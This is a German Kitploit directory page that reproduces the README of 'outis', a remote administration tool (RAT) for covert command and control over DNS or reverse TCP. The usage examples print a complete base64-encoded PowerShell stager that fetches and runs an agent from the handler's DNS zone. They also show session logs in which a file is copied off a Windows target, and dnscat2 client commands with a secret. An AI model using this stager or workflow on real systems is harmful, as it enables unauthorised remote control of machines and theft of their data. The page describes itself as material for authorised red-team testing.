Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
outis — outis ist ein benutzerdefiniertes Remote Administration Tool (RAT) oder so ähnlich. Es wurde entwickelt, um verschiedene Transportmethoden (wie DNS) und Plattformen (wie Powershell) zu unterstützen. | Kitploit
Tools/GitHubGitHub/syss-research/outis
Payload-GenerierungPost-ExploitationCommand and ControlRed TeamingRemote-Access-ToolDNS-Analyse
GitHubsyss-research/outis

outis

outis ist ein benutzerdefiniertes Remote Administration Tool (RAT) oder so ähnlich. Es wurde entwickelt, um verschiedene Transportmethoden (wie DNS) und Plattformen (wie Powershell) zu unterstützen.

Repository anzeigen
12645vor 8 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

outis

outis ist ein benutzerdefiniertes Remote Administration Tool (RAT) oder so ähnlich. Denken Sie an Meterpreter oder Empire-Agent. Der Fokus dieses Tools liegt jedoch weder auf einem Exploit-Toolkit (es gibt keine Exploits) noch auf der dauerhaften Verwaltung von Zielen. Der Fokus liegt auf der Kommunikation zwischen Server und Zielsystem sowie auf Dateiübertragung, Socket-Weitergabe, Shell-Spawning usw. unter Verwendung verschiedener Methoden und Plattformen.

Zum Namen

Der Zyklop Polyphem in Homers Odyssee hatte einige Probleme mit der Namensauflösung. Als er nach Odysseus' Namen fragte, sagte ihm der Hacker, dass er „Outis“ heißt, was im Altgriechischen „Niemand“ bedeutet. Als Polyphem später schrie, dass Niemand ihn töten wolle, kam seltsamerweise keine Hilfe.

Mein Dank gilt Marcel für die Erinnerung an dieses wunderbare Stück klassischer Erzählkunst.

Abhängigkeiten für den Handler

Archlinux-Benutzer können die folgenden Pakete installieren:

  • python3 # beinhaltet cmd, tempfile, ...
  • python-progressbar2
  • python-dnspython
  • python-crypto
  • python-pyopenssl
  • und vielleicht mehr...

In anderen Distributionen können die Namen abweichen, zum Beispiel gibt es ein Modul namens crypto und ein Modul namens pycrypto. Wir benötigen das letztere.

Ältere Versionen könnten ebenfalls Probleme verursachen:

  • pyopenssl muss Version 16.1.0 oder neuer sein, überprüfen Sie dies wie folgt:
root@kitploit:~
   $ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'

Sie können ganz einfach eine Python Virtual Environment einrichten:

root@kitploit:~
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl

Dies führt zu folgender Paketliste, die bei mir zu funktionieren scheint:

root@kitploit:~
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0

Installation

Klonen Sie dieses Git mit dem rekursiven Flag, um auch die Submodule im Ordner thirdpartytools zu klonen:

root@kitploit:~
git clone --recursive ...

Der Handler läuft mit Python 3. Installieren Sie seine Abhängigkeiten und führen Sie ihn aus. Er generiert Stager, Agents und alles andere für Sie.

Um niedrige Ports ohne Root-Rechte zu binden, sollten Sie einen Capability-Wrapper in Betracht ziehen.

Begriffe

  • Agent: Software, die auf dem Opfersystem läuft
  • Handler: Software, die Ihre Befehle parst und die Agents steuert (normalerweise läuft sie auf Ihrem Server)
  • Stager: Kurzes Skript, das den Agent herunterlädt (unter Verwendung des Transportmoduls) und ausführt
  • Transport: Kommunikationskanal zwischen Stager/Agent und Handler, z.B. ReverseTCP
  • Plattform: Zielarchitektur, die für Stager/Agent-Skripte verwendet wird, z.B. PowerShell

Derzeit unterstützte Plattformen

  • PowerShell (teilweise)

Derzeit unterstützte Transports

  • Reverse TCP
  • DNS (Typen TXT oder A für Staging, und Typen TXT, CNAME, MX, AAAA oder A für Agent-Verbindung)

Derzeit unterstützte Verschlüsselung

  • Agent-Stufen können mit zyklischem XOR codiert werden (zur Verschleierung, nicht für Sicherheit)
  • Agent-Stufen können mit RSA-Signaturen und gepinnten Zertifikaten authentifiziert werden
  • Transportverbindungen können mit TLS und gepinnten Zertifikaten verschlüsselt/authentifiziert werden

Derzeit unterstützte Befehle und Steuerungen

  • Ping-Anfragen zum Testen der Verbindung (teilweise)
  • Textnachrichtenformat (teilweise)
  • Upload und Download von Dateien

Derzeit unterstützte Extras

  • Bei Verwendung von DNS-Transport mit Stager und PowerShell können Sie das Tool dnscat2 / dnscat2-powershell aus dem Verzeichnis thirdpartytools anstelle des Standard-Outis-Agenten ausliefern. Setzen Sie die Plattformoption AGENTTYPE auf DNSCAT2 (dauert eine Weile, verwendet aber nur DNS zum Staging) oder DNSCAT2DOWNLOADER (versucht, über HTTPS herunterzuladen).

Anwendungsbeispiele

Der Download einer Datei mittels gestaffeltem DNS-Transport mit der POWERSHELL-Plattform könnte wie folgt aussehen:

root@kitploit:~
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Optionen für den Handler:
Name               Wert          Erforderlich  Beschreibung                                                        
-----------------  ----------  --------  -----------------------------------------------------------------
TRANSPORT          DNS         True      Kommunikationsweg zwischen Agent und Handler (Optionen: REVERSETCP,
                                          DNS)
CHANNELENCRYPTION  TLS         True      Verschlüsselungsprotokoll im Transport (Optionen: NONE, TLS)
PLATFORM           POWERSHELL  True      Plattform des Agent-Codes (Optionen: POWERSHELL)
PROGRESSBAR        TRUE        True      Fortschrittsbalken für Upload/Download anzeigen? (nur wenn das 
                                         entsprechende Modul nicht gedebuggt wird) (Optionen: TRUE, FALSE)

[+] Optionen für das TRANSPORT-Modul DNS:
Name       Wert         Erforderlich  Beschreibung                                                               
---------  -----------  --------  ------------------------------------------------------------------------
ZONE       zfs.sy.gs    True      DNS-Zone für die Bearbeitung von Anfragen
LHOST      0.0.0.0      True      Interface-IP zum Abhören
LPORT      53           True      UDP-Port zum Abhören für DNS-Server
DNSTYPE    TXT          True      DNS-Typ für die Verbindung (nur Stager; der Agent zählt alle unterstützten 
                                  Typen selbst auf) (Optionen: TXT, A)
DNSSERVER               False     IP-Adresse des DNS-Servers, der für alle Abfragen kontaktiert werden soll

[+] Optionen für das PLATFORM-Modul POWERSHELL:
Name                  Wert                        Erforderlich  Beschreibung                                      
--------------------  --------------------------  --------  ----------------------------------------------
STAGED                TRUE                        True      Ist die Kommunikation gestaffelt oder nicht? 
                                                            (Optionen: TRUE, FALSE)
STAGEENCODING         TRUE                        True      Soll der gestaffelte Agent in codierter Form 
                                                            gesendet werden (Verschleierung, nicht für 
                                                            Sicherheit!) (Optionen: TRUE, FALSE)
STAGEAUTHENTICATION   TRUE                        True      Soll der Stager den Agent-Code vor der 
                                                            Ausführung verifizieren (RSA-Signaturprüfung 
                                                            mit Zertifikat-Pinning) (Optionen: TRUE, 
                                                            FALSE)
STAGECERTIFICATEFILE  $TOOLPATH/data/outis.pem    False     Dateipfad einer PEM-Datei mit sowohl RSA-Schlüssel 
                                                            als auch Zertifikat zum Signieren und Verifizieren 
                                                            des gestaffelten Agents (Sie können ein 
                                                            selbstsigniertes Zertifikat mit dem Skript 
                                                            gencert.sh generieren)
AGENTTYPE             DEFAULT                     True      Definiert, welcher Agent verwendet werden soll 
                                                            (der Standard-Outis-Agent für diese Plattform 
                                                            oder eine von uns unterstützte Drittanbieter- 
                                                            Software) (Optionen: DEFAULT, DNSCAT2, 
                                                            DNSCAT2DOWNLOADER)
TIMEOUT               9                           True      Anzahl der Sekunden, die auf jede Anfrage gewartet 
                                                            werden soll (derzeit nur von DNS-Stager unterstützt)
RETRIES               2                           True      Wiederholen Sie jede Anfrage so oft 
                                                            (derzeit nur von DNS-Stager unterstützt)
AGENTDEBUG            TRUE                        True      Soll der Agent Debug-Meldungen ausgeben und 
                                                            protokollieren (Optionen: TRUE, FALSE)
outis> generatestager
[+] Verwenden Sie den folgenden Stager-Code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
  ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
  BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
  UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
  8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
  ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
  B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
  LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
  AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
  AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
  BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
  YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
  8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
  ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
  AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
  aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
  IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
  AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
  BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
  VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
  UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
  AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS hört auf 0.0.0.0:53
[+] Sende gestaffelten Agent (34332 Bytes)...
100% (184 von 184) |########################################################| Verstrichene Zeit: 0:00:16 Zeit: 0:00:16
[+] Staging abgeschlossen
[+] Warte auf Verbindung und TLS-Handshake...
[+] Erste Verbindung mit neuem Agent gestartet
[+] Upgrade auf TLS abgeschlossen
outis session> [+] AGENT: Hallo vom Agent

outis session> download C:\testfile.txt /tmp/out.txt
[+] Initiiere Download der entfernten Datei C:\testfile.txt in die lokale Datei /tmp/out.txt
[+] Agent meldet eine Größe von 3295 Bytes für Kanal 1
100% (3295 von 3295) |######################################################| Verstrichene Zeit: 0:00:00 Zeit: 0:00:00
[+] 3295 Bytes in Datei /tmp/out.txt geschrieben
outis session> exit
Möchten Sie die Sitzung wirklich beenden und die Verbindung schließen [j/N]? j
outis> exit

Oder vielleicht möchten wir dnscat2 für den eigentlichen Einsatz verwenden und outis nur zum Staging nutzen:

root@kitploit:~
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS hört auf 0.0.0.0:53
[+] Sende gestaffelten Agent (406569 Bytes)...
100% (2185 von 2185) |#######################################################| Verstrichene Zeit: 0:01:17 Zeit: 0:01:17
[+] Staging abgeschlossen
[+] Starte dnscat2 zur Verwaltung der eigentlichen Verbindung

Neues Fenster erstellt: 0
Neues Fenster erstellt: crypto-debug
Willkommen bei dnscat2! Einige Dokumentationen sind möglicherweise veraltet.

auto_attach => false
history_size (für neue Fenster) => 1000
Sicherheitsrichtlinie geändert: Alle Verbindungen müssen verschlüsselt und authentifiziert sein
Neues Fenster erstellt: dns1
Starte Dnscat2 DNS-Server auf 0.0.0.0:53
[domains = zfs.sy.gs]...

Angenommen, Sie haben einen autoritativen DNS-Server, können Sie den Client
überall mit dem Folgenden ausführen (--secret ist optional):

  ./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs

Um direkt mit dem Server ohne Domainnamen zu sprechen, führen Sie aus:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==

Natürlich müssen Sie <server> selbst herausfinden! Clients
werden sich direkt über UDP-Port 53 verbinden.

dnscat2> Neues Fenster erstellt: 1
Sitzung 1 Sicherheit: VERSCHLÜSSELT UND VERIFIZIERT!
(Die Sicherheit hängt von der Stärke Ihres vorab geteilten Geheimnisses ab!)

dnscat2> sessions
0 :: main [aktiv]
  crypto-debug :: Debug-Fenster für Krypto-Zeug [*]
  dns1 :: DNS-Treiber läuft auf 0.0.0.0:53 domains = zfs.sy.gs [*]
  1 :: command (feynman-win7) [verschlüsselt und verifiziert] [*]
  
dnscat2> session -i 1
Neues Fenster erstellt: 1
history_size (session) => 1000
Sitzung 1 Sicherheit: VERSCHLÜSSELT UND VERIFIZIERT!
(Die Sicherheit hängt von der Stärke Ihres vorab geteilten Geheimnisses ab!)
Dies ist eine Befehlssitzung!

Das bedeutet, Sie können einen dnscat2-Befehl wie
'ping' eingeben! Eine vollständige Liste der Clients finden Sie mit 'help'.

command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Versuche, c:/testfile.txt nach /tmp/out.txt herunterzuladen
3295 Bytes von c:/testfile.txt nach /tmp/out.txt geschrieben!

command (feynman-win7) 1> exit
Eingabe-Thread beendet

Inspirationen

Dieses Projekt wurde inspiriert von (und hat schamlos Teile seines Codes übernommen von):

  • Empire:

    • https://github.com/adaptivethreat/Empire/blob/master/lib/common/stagers.py — generate_launcher verwendet einen HTTP(S)-Stager
    • https://github.com/adaptivethreat/Empire/tree/master/data/agent — Stager (Schritt zwei nach initialem Launcher) und Agent (Schritt drei)
    • https://github.com/EmpireProject/Empire/blob/master/lib/common/helpers.py — PowerShell-Skriptgenerierung und -bereinigung
  • Metasploit:

    • https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/cmdstager.rb — CmdStager für Bourne, ...
  • ReflectiveDLLInjection:

    • https://github.com/stephenfewer/ReflectiveDLLInjection
  • p0wnedShell:

    • https://github.com/Cn33liz/p0wnedShell — einige Ideen zur AMSI-Umgehung für die zukünftige Verwendung
  • dnscat2:

    • https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md — Ideen zum Protokolldesign über DNS
    • https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1 — PowerShell-Version des dnscat2-Agenten
  • dnsftp

    • https://github.com/breenmachine/dnsftp — kurze Skriptteile für Stager via DNS

Haftungsausschluss

Nutzung auf eigene Gefahr. Nicht ohne vollständige Zustimmung aller Beteiligten verwenden. Nur für Bildungszwecke.

Tool herunterladen